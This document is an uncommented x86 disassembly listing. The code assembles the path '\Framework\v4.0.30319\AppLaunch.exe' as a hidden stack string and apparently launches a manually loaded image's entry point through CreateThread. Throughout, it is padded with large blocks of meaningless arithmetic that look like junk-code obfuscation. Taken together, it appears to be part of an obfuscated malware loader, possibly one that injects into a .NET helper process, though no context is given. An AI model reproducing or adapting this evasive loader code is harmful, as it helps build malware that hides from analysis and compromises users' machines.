mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40c561
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401220
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
dec esi
imul esi
add edi, 0
dec edx
dec edx
rol esi, 0x89
rcr eax, 0x97
neg eax
not edx
inc edx
bswap edx
rol edx, 0x5d
or edx, 0xa3
inc edx
neg edi
neg edi
sub edx, 0x1d
ror edi, 0x8b
bswap esi
rcl eax, 0x19
rcr edx, 4
or ebx, 0xda
rol edi, 0xc9
inc edi
dec edi
rcl ebx, 0x47
sbb esi, 0xb3
sbb esi, 0xd7
sbb eax, 0xfe
bswap edi
dec edx
bswap eax
and edi, 0xbc
ror edi, 0x2d
neg edx
add eax, 0xc7
add edx, 0xbf
not esi
neg esi
inc edx
neg ebx
inc ebx
not edx
mov eax, 0xa8
and edi, 0x55
inc eax
or ebx, 0x68
bswap edx
dec eax
neg edi
mov ebx, 0xb6
not esi
or ebx, 0xa9
add ebx, 0xb3
and esi, 0x38
sub edi, 0x42
inc edi
not edx
imul ebx
rol esi, 0x7a
sbb esi, 0x94
sub edi, 0xc5
or esi, 0xf7
and edi, 0x2a
rcl edi, 0x68
imul edi
rol edx, 0x1c
add esi, 0x26
neg eax
dec edx
dec esi
bswap esi
ror esi, 0x57
bswap eax
sbb esi, 0x23
imul edi
ror esi, 0x7d
neg edx
rol ebx, 0x17
sbb edi, 0x7b
add edx, 0xec
rol eax, 0xe
ror edi, 0xde
sbb edi, 0x51
neg ebx
imul esi
sbb edi, 0x26
not ebx
add eax, 0xeb
bswap eax
dec edx
ror eax, 0x15
neg edi
and ebx, 0xea
sbb esi, 0x71
dec esi
not esi
dec edi
sbb esi, 0xb8
ror eax, 0xc7
imul esi
neg eax
imul eax
mov eax, 0xc
neg esi
add ebx, 0xdc
neg esi
rol eax, 0xf2
and ebx, 0x48
rcr esi, 0x68
dec esi
mov esi, 0x79
sub ebx, 0x7c
neg edx
rcr eax, 0x91
inc eax
imul edi
mov esi, 0x5e
rcl edx, 0x5a
sbb edi, 0xd0
mov edi, 0x2c
inc esi
and edi, 0x5a
and esi, 0xb1
rcl edi, 0xc9
neg esi
sub esi, 6
rcr esi, 0xb2
neg esi
bswap esi
not ebx
not esi
rol edi, 0xa2
sub esi, 0x34
not edi
sub eax, 0x4c
mov edx, 0x91
not ebx
neg ebx
and edx, 0xc4
rol edi, 0x37
add edx, 0x78
neg ebx
bswap esi
inc ebx
sbb eax, 0x68
neg ebx
inc ebx
imul edx
not edi
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40c75d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401220
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
bswap edi
add edx, 0xe
inc esi
imul edx
sbb edi, 0x47
sbb esi, 0x7d
or edx, 0xea
neg eax
add edi, 9
sbb edx, 0x4c
imul esi
bswap ebx
sbb esi, 0x44
inc edi
inc ebx
imul edx
inc ebx
neg edi
inc edi
rcr esi, 0xc2
rcr eax, 0x73
add ebx, 0x5d
dec edx
imul edi
bswap esi
mov eax, 0x6b
sub esi, 0xa
not eax
bswap edx
sub edx, 0xca
or edx, 0x95
or esi, 0xac
and ebx, 0x80
rol eax, 0x99
add edx, 0x6e
ror ebx, 0x9c
imul edi
not eax
neg edx
ror edx, 0x21
rcr ebx, 0x3a
bswap esi
mov eax, 0xd8
mov esi, 3
bswap eax
neg edi
ror eax, 0x60
dec esi
sub eax, 0x30
imul edi
dec eax
bswap edi
rol edi, 0xc5
neg esi
rcl ebx, 0xa9
rcr ebx, 0x77
or eax, 0x65
rol esi, 0x2d
inc edx
dec edi
rcl eax, 0x2c
rcr eax, 0xf
sub edx, 0xa0
ror ebx, 0x55
sbb edx, 0x2d
or esi, 0x83
and edx, 0xda
add edx, 0x99
add ebx, 0xd6
mov edx, 0xa6
sbb eax, 0x47
imul eax
and ebx, 0x95
not edi
rcl edx, 0x8b
not ebx
or eax, 0xa6
not edx
rol esi, 0xf7
bswap esi
ror esi, 0xac
add edi, 0xe5
not edx
add edx, 0xd
and eax, 0x59
rcl eax, 0x1b
sbb edi, 0x80
sub eax, 0x9d
inc edi
add ebx, 0x71
mov esi, 0x8a
rcl esi, 0xed
add eax, 0x5f
add esi, 0x39
dec edi
or edi, 0x4c
imul edi
ror esi, 0x39
rcr ebx, 0x5d
sbb edi, 0xd3
not ebx
sbb edx, 0xbd
ror edx, 0x67
not edi
or esi, 0x77
not ebx
bswap eax
bswap esi
and edx, 0x2d
add ebx, 0x80
not edx
not edx
imul esi
not edx
rol ebx, 0xdf
bswap edi
inc eax
sub esi, 3
inc ebx
add edi, 0x22
not ebx
or esi, 0x6e
inc edi
add esi, 0x98
neg edx
imul esi
rcl edi, 0x12
sbb eax, 0xe2
neg ebx
rcr eax, 0xee
bswap edx
bswap eax
rcl ebx, 0x29
or edi, 7
bswap ebx
bswap edx
add esi, 0x43
not esi
bswap esi
neg eax
rcl esi, 0xfa
or eax, 0x93
rcl ebx, 0x3e
inc eax
imul eax
bswap edi
rcl eax, 0x99
not eax
neg esi
bswap ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret